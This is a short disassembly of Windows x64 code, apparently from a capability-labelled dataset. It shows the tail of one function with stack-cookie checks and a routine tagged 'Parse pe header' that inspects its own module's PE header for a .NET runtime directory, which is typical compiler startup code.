mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000167c
xor eax, eax
mov rcx, qword [rsp + 0x4c0]
xor rcx, rsp
call fcn.140001620
add rsp, 0x4d8
ret

Function at 0x140001f98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001fe2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001fe2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001fe2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001fe2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001fe2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001fe4
xor al, al
add rsp, 0x28
ret